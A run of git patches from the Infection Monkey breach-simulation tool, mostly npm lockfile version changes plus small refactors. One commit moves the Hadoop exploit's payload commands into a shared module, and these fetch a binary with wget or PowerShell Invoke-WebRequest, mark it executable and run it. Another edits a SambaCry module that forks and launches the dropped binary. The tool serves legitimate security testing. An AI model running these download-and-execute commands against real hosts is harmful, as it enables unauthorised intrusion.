"1.1.2" + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" } }, "glob": { @@ -18055,12 +18135,12 @@ "dev": true, "optional": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } }, "has-unicode": { @@ -18075,7 +18155,7 @@ "dev": true, "optional": true, "requires": { - "safer-buffer": "2.1.2" + "safer-buffer": "^2.1.0" } }, "ignore-walk": { @@ -18093,8 +18173,8 @@ "dev": true, "optional": true, "requires": { - "once": "1.4.0", - "wrappy": "1.0.2" + "once": "^1.3.0", + "wrappy": "1" } }, "inherits": { @@ -18113,7 +18193,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "1.0.1" + "number-is-nan": "^1.0.0" } }, "isarray": { @@ -18126,6 +18206,7 @@ "version": "3.0.4", "bundled": true, "dev": true, + "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -18140,8 +18221,8 @@ "bundled": true, "dev": true, "requires": { - "safe-buffer": "5.1.1", - "yallist": "3.0.2" + "safe-buffer": "^5.1.1", + "yallist": "^3.0.0" } }, "minizlib": { @@ -18150,7 +18231,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "2.2.4" + "minipass": "^2.2.1" } }, "mkdirp": { @@ -18173,9 +18254,9 @@ "dev": true, "optional": true, "requires": { - "debug": "2.6.9", - "iconv-lite": "0.4.21", - "sax": "1.2.4" + "debug": "^2.1.2", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" } }, "node-pre-gyp": { @@ -18184,16 +18265,16 @@ "dev": true, "optional": true, "requires": { - "detect-libc": "1.0.3", - "mkdirp": "0.5.1", - "needle": "2.2.0", - "nopt": "4.0.1", - "npm-packlist": "1.1.10", - "npmlog": "4.1.2", - "rc": "1.2.7", - "rimraf": "2.6.2", - "semver": "5.5.0", - "tar": "4.4.1" + "detect-libc": "^1.0.2", + "mkdirp": "^0.5.1", + "needle": "^2.2.0", + "nopt": "^4.0.1", + "npm-packlist": "^1.1.6", + "npmlog": "^4.0.2", + "rc": "^1.1.7", + "rimraf": "^2.6.1", + "semver": "^5.3.0", + "tar": "^4" } }, "nopt": { @@ -18202,8 +18283,8 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1.1.1", - "osenv": "0.1.5" + "abbrev": "1", + "osenv": "^0.1.4" } }, "npm-bundled": { @@ -18218,8 +18299,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "3.0.1", - "npm-bundled": "1.0.3" + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" } }, "npmlog": { @@ -18228,10 +18309,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "1.1.4", - "console-control-strings": "1.1.0", - "gauge": "2.7.4", - "set-blocking": "2.0.0" + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" } }, "number-is-nan": { @@ -18250,7 +18331,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1.0.2" + "wrappy": "1" } }, "os-homedir": { @@ -18271,8 +18352,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "1.0.2", - "os-tmpdir": "1.0.2" + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" } }, "path-is-absolute": { @@ -18293,10 +18374,10 @@ "dev": true, "optional": true, "requires": { - "deep-extend": "0.5.1", - "ini": "1.3.5", - "minimist": "1.2.0", - "strip-json-comments": "2.0.1" + "deep-extend": "^0.5.1", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" }, "dependencies": { "minimist": { @@ -18313,13 +18394,13 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "rimraf": { @@ -18328,7 +18409,7 @@ "dev": true, "optional": true, "requires": { - "glob": "7.1.2" + "glob": "^7.0.5" } }, "safe-buffer": { @@ -18371,9 +18452,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" } }, "string_decoder": { @@ -18382,7 +18463,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } }, "strip-ansi": { @@ -18390,7 +18471,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "2.1.1" + "ansi-regex": "^2.0.0" } }, "strip-json-comments": { @@ -18405,13 +18486,13 @@ "dev": true, "optional": true, "requires": { - "chownr": "1.0.1", - "fs-minipass": "1.2.5", - "minipass": "2.2.4", - "minizlib": "1.1.0", - "mkdirp": "0.5.1", - "safe-buffer": "5.1.1", - "yallist": "3.0.2" + "chownr": "^1.0.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.2.4", + "minizlib": "^1.1.0", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.1", + "yallist": "^3.0.2" } }, "util-deprecate": { @@ -18426,7 +18507,7 @@ "dev": true, "optional": true, "requires": { - "string-width": "1.0.2" + "string-width": "^1.0.2" } }, "wrappy": { @@ -18447,8 +18528,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "3.1.0", - "path-dirname": "1.0.2" + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" }, "dependencies": { "is-glob": { @@ -18457,7 +18538,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "2.1.1" + "is-extglob": "^2.1.0" } } } @@ -18468,11 +18549,11 @@ "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=", "dev": true, "requires": { - "array-union": "1.0.2", - "glob": "7.1.3", - "object-assign": "4.1.1", - "pify": "2.3.0", - "pinkie-promise": "2.0.1" + "array-union": "^1.0.1", + "glob": "^7.0.3", + "object-assign": "^4.0.1", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" }, "dependencies": { "pify": { @@ -18501,7 +18582,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-data-descriptor": { @@ -18510,7 +18591,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "6.0.2" + "kind-of": "^6.0.0" } }, "is-descriptor": { @@ -18519,9 +18600,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "1.0.0", - "is-data-descriptor": "1.0.0", - "kind-of": "6.0.2" + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" } }, "is-extglob": { @@ -18536,7 +18617,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "2.1.1" + "is-extglob": "^2.1.1" } }, "is-number": { @@ -18545,7 +18626,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "3.2.2" + "kind-of": "^3.0.2" }, "dependencies": { "kind-of": { @@ -18554,7 +18635,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "1.1.5" + "is-buffer": "^1.1.5" } } } @@ -18577,7 +18658,7 @@ "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", "dev": true, "requires": { - "invert-kv": "2.0.0" + "invert-kv": "^2.0.0" } }, "locate-path": { @@ -18586,8 +18667,8 @@ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", "dev": true, "requires": { - "p-locate": "3.0.0", - "path-exists": "3.0.0" + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" } }, "mem": { @@ -18596,9 +18677,9 @@ "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==", "dev": true, "requires": { - "map-age-cleaner": "0.1.2", - "mimic-fn": "1.2.0", - "p-is-promise": "1.1.0" + "map-age-cleaner": "^0.1.1", + "mimic-fn": "^1.0.0", + "p-is-promise": "^1.1.0" } }, "micromatch": { @@ -18607,19 +18688,19 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "4.0.0", - "array-unique": "0.3.2", - "braces": "2.3.2", - "define-property": "2.0.2", - "extend-shallow": "3.0.2", - "extglob": "2.0.4", - "fragment-cache": "0.2.1", - "kind-of": "6.0.2", - "nanomatch": "1.2.13", - "object.pick": "1.3.0", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" } }, "nan": { @@ -18635,9 +18716,9 @@ "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==", "dev": true, "requires": { - "execa": "0.10.0", - "lcid": "2.0.0", - "mem": "4.0.0" + "execa": "^0.10.0", + "lcid": "^2.0.0", + "mem": "^4.0.0" } }, "p-limit": { @@ -18646,7 +18727,7 @@ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", "dev": true, "requires": { - "p-try": "2.0.0" + "p-try": "^2.0.0" } }, "p-locate": { @@ -18655,7 +18736,7 @@ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", "dev": true, "requires": { - "p-limit": "2.0.0" + "p-limit": "^2.0.0" } }, "p-try": { @@ -18682,9 +18763,9 @@ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", "dev": true, "requires": { - "ajv": "6.5.2", - "ajv-errors": "1.0.0", - "ajv-keywords": "3.2.0" + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" } }, "semver": { @@ -18699,7 +18780,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } }, "uuid": { @@ -18714,10 +18795,10 @@ "integrity": "sha512-Q9Iyc0X9dP9bAsYskAVJ/hmIZZQwf/3Sy4xCAZgL5cUkjZmUZLt4l5HpbST/Pdgjn3u6pE7u5OdGd1apgzRujA==", "dev": true, "requires": { - "memory-fs": "0.4.1", - "mime": "2.3.1", - "range-parser": "1.2.0", - "webpack-log": "2.0.0" + "memory-fs": "~0.4.1", + "mime": "^2.3.1", + "range-parser": "^1.0.3", + "webpack-log": "^2.0.0" } }, "webpack-log": { @@ -18726,8 +18807,8 @@ "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==", "dev": true, "requires": { - "ansi-colors": "3.1.0", - "uuid": "3.3.2" + "ansi-colors": "^3.0.0", + "uuid": "^3.3.2" } }, "yargs": { @@ -18736,18 +18817,18 @@ "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==", "dev": true, "requires": { - "cliui": "4.1.0", - "decamelize": "2.0.0", - "find-up": "3.0.0", - "get-caller-file": "1.0.3", - "os-locale": "3.0.1", - "require-directory": "2.1.1", - "require-main-filename": "1.0.1", - "set-blocking": "2.0.0", - "string-width": "2.1.1", - "which-module": "2.0.0", - "y18n": "3.2.1", - "yargs-parser": "10.1.0" + "cliui": "^4.0.0", + "decamelize": "^2.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^1.0.1", + "os-locale": "^3.0.0", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^2.0.0", + "which-module": "^2.0.0", + "y18n": "^3.2.1 || ^4.0.0", + "yargs-parser": "^10.1.0" } }, "yargs-parser": { @@ -18756,7 +18837,7 @@ "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", "dev": true, "requires": { - "camelcase": "4.1.0" + "camelcase": "^4.1.0" } } } @@ -18767,10 +18848,10 @@ "integrity": "sha512-U9AnICnu50HXtiqiDxuli5gLB5PGBo7VvcHx36jRZHwK4vzOYLbImqT4lwWwoMHdQWwEKw736fCHEekokTEKHA==", "dev": true, "requires": { - "chalk": "2.4.1", - "log-symbols": "2.2.0", - "loglevelnext": "1.0.5", - "uuid": "3.2.1" + "chalk": "^2.1.0", + "log-symbols": "^2.1.0", + "loglevelnext": "^1.0.1", + "uuid": "^3.1.0" }, "dependencies": { "ansi-styles": { @@ -18779,7 +18860,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -18788,9 +18869,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.5.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "has-flag": { @@ -18805,7 +18886,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -18816,8 +18897,8 @@ "integrity": "sha512-OiVgSrbGu7NEnEvQJJgdSFPl2qWKkWq5lHMhgiToIiN9w34EBnjYzSYs+VbL5KoYiLNtFFa7BZIKxRED3I32pA==", "dev": true, "requires": { - "source-list-map": "2.0.0", - "source-map": "0.6.1" + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" }, "dependencies": { "source-map": { @@ -18834,8 +18915,8 @@ "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", "dev": true, "requires": { - "http-parser-js": "0.4.13", - "websocket-extensions": "0.1.3" + "http-parser-js": ">=0.4.0", + "websocket-extensions": ">=0.1.1" } }, "websocket-extensions": { @@ -18850,7 +18931,7 @@ "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", "dev": true, "requires": { - "isexe": "2.0.0" + "isexe": "^2.0.0" } }, "which-module": { @@ -18878,7 +18959,7 @@ "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", "dev": true, "requires": { - "errno": "0.1.7" + "errno": "~0.1.7" } }, "wrap-ansi": { @@ -18887,8 +18968,8 @@ "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", "dev": true, "requires": { - "string-width": "1.0.2", - "strip-ansi": "3.0.1" + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1" }, "dependencies": { "is-fullwidth-code-point": { @@ -18897,7 +18978,7 @@ "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", "dev": true, "requires": { - "number-is-nan": "1.0.1" + "number-is-nan": "^1.0.0" } }, "string-width": { @@ -18906,9 +18987,9 @@ "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", "dev": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" } } } @@ -18925,7 +19006,7 @@ "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", "dev": true, "requires": { - "mkdirp": "0.5.1" + "mkdirp": "^0.5.1" } }, "ws": { @@ -18934,9 +19015,9 @@ "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", "dev": true, "requires": { - "async-limiter": "1.0.0", - "safe-buffer": "5.1.1", - "ultron": "1.1.1" + "async-limiter": "~1.0.0", + "safe-buffer": "~5.1.0", + "ultron": "~1.1.0" } }, "xmlhttprequest-ssl": { @@ -18976,9 +19057,9 @@ "dev": true, "optional": true, "requires": { - "camelcase": "1.2.1", - "cliui": "2.1.0", - "decamelize": "1.2.0", + "camelcase": "^1.0.2", + "cliui": "^2.1.0", + "decamelize": "^1.0.0", "window-size": "0.1.0" } }, @@ -18988,7 +19069,7 @@ "integrity": "sha1-nM9qQ0YP5O1Aqbto9I1DuKaMwHc=", "dev": true, "requires": { - "camelcase": "4.1.0" + "camelcase": "^4.1.0" }, "dependencies": { "camelcase": { @@ -19005,7 +19086,7 @@ "integrity": "sha1-lSj0QtqxsihOWLQ3m7GU4i4MQAU=", "dev": true, "requires": { - "fd-slicer": "1.0.1" + "fd-slicer": "~1.0.1" } }, "yeast": { diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 00aa12ade..4584e6cfa 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -86,7 +86,7 @@ "react-graph-vis": "^1.0.2", "react-json-tree": "^0.11.0", "react-jsonschema-form": "^1.0.5", - "react-redux": "^5.0.7", + "react-redux": "^5.1.1", "react-router-dom": "^4.3.1", "react-table": "^6.8.6", "react-toggle": "^4.0.1", From 1c75fbecf087d602aa397bcaef0f3b342edf71ca Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Nov 2018 14:12:23 +0200 Subject: [PATCH 148/183] Modern classes and not old school classes --- monkey/common/cloud/aws.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index acdb38871..53b0690f9 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -3,7 +3,7 @@ import urllib2 __author__ = 'itay.mizeretz' -class AWS: +class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() From 8efed2de22c7d36413da712d4284d8b020013185 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Nov 2018 18:33:08 +0200 Subject: [PATCH 149/183] Fix path that run.sh executes --- monkey/monkey_island/linux/run.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index 6770e2922..c72b5f3b9 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -2,4 +2,4 @@ cd /var/monkey /var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & -/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file +/var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file From db5e5eb45339b4c408da1c9a40b310c9c3f5aa75 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 29 Nov 2018 17:43:09 +0200 Subject: [PATCH 150/183] Commands moved to model --- monkey/infection_monkey/exploit/hadoop.py | 28 +++-------------------- monkey/infection_monkey/model/__init__.py | 12 +++++++++- 2 files changed, 14 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 30925bc0f..881ccf39d 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -12,7 +12,7 @@ import posixpath from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth -from infection_monkey.model import MONKEY_ARG, ID_STRING +from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND __author__ = 'VakarisZ' @@ -22,25 +22,6 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] HADOOP_PORTS = [["8088", False]] - - # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes - # to download monkey at the same time - LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ - "&& wget -O %(monkey_path)s %(http_path)s " \ - "; chmod +x %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - - """ Command was observed to be unreliable, we use powershell instead - WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ - " Update /download /priority high %(http_path)s %(monkey_path)s " \ - "& %(monkey_path)s %(monkey_type)s %(parameters)s" - """ - - WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ - "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ - " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ - "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" - # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -55,9 +36,6 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False - # We assume hadoop is ran only on 64 bit windows - if self.host.os['type'] == 'windows': - self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False @@ -91,9 +69,9 @@ class HadoopExploiter(WebRCE): # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if 'linux' in self.host.os['type']: - base_command = self.LINUX_COMMAND + base_command = HADOOP_LINUX_COMMAND else: - base_command = self.WINDOWS_COMMAND + base_command = HADOOP_WINDOWS_COMMAND return base_command % {"monkey_path": path, "http_path": http_path, "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index f2217623a..35a63f2a2 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -28,4 +28,14 @@ CHECK_COMMAND = "echo %s" % ID_STRING GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" -DOWNLOAD_TIMEOUT = 300 \ No newline at end of file +# All in one commands (upload, change permissions, run) +HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ + "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" +HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + +DOWNLOAD_TIMEOUT = 300 From d92db8effda3f3b25cefbcc141a0cb79b03e8ca4 Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Fri, 30 Nov 2018 21:57:20 +0200 Subject: [PATCH 151/183] Replace strncat with single snprintf call --- .../sambacry_monkey_runner/sc_monkey_runner.c | 30 +++++++++---------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 65684fbf2..91f529e9c 100644 --- a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -32,7 +32,7 @@ int samba_init_module(void) const char RUN_MONKEY_CMD[] = "./"; const char MONKEY_DEST_FOLDER[] = "/tmp"; const char MONKEY_DEST_NAME[] = "monkey"; - + int found = 0; char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'}; @@ -43,22 +43,22 @@ int samba_init_module(void) int monkeySize = 0; void* monkeyBinary = NULL; struct stat fileStats; - + pid = fork(); - + if (0 != pid) { // error or this is parent - nothing to do but return. return 0; } - + // Find fullpath of running module. pFile = fopen("/proc/self/maps", "r"); if (NULL == pFile) { return 0; } - + while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); if (fileNamePointer != NULL) { @@ -66,44 +66,42 @@ int samba_init_module(void) break; } } - + fclose(pFile); - + // We can't find ourselves in module list if (0 == found) { return 0; } - + monkeyDirectory = strchr(modulePathLine, '/'); *fileNamePointer = '\0'; - + if (0 != chdir(monkeyDirectory)) { return 0; } - + // Write file to indicate we're running pFile = fopen(RUNNER_RESULT_FILENAME, "w"); if (NULL == pFile) { return 0; } - + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); fclose(pFile); - + // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); if (NULL == pFile) { return 0; } - + // Build commandline - strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); - strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1); - strncat(commandline, " ", 1); + snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME); fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fclose(pFile); From 6d0805beb16548dc84860ca1b4c50b92c3b29aa9 Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Sat, 1 Dec 2018 21:32:17 +0200 Subject: [PATCH 152/183] newline at end of file --- .../monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h index 86db653c8..85300310f 100644 --- a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h +++ b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h @@ -4,4 +4,4 @@ extern int samba_init_module(void); extern int init_samba_module(void); -#endif // monkey_runner_h__ \ No newline at end of file +#endif // monkey_runner_h__ From 841ad289736813aaf0ad54b7f9ff9f91d4ab2219 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 2 Dec 2018 16:12:10 +0200 Subject: [PATCH 153/183] Add netstat --- 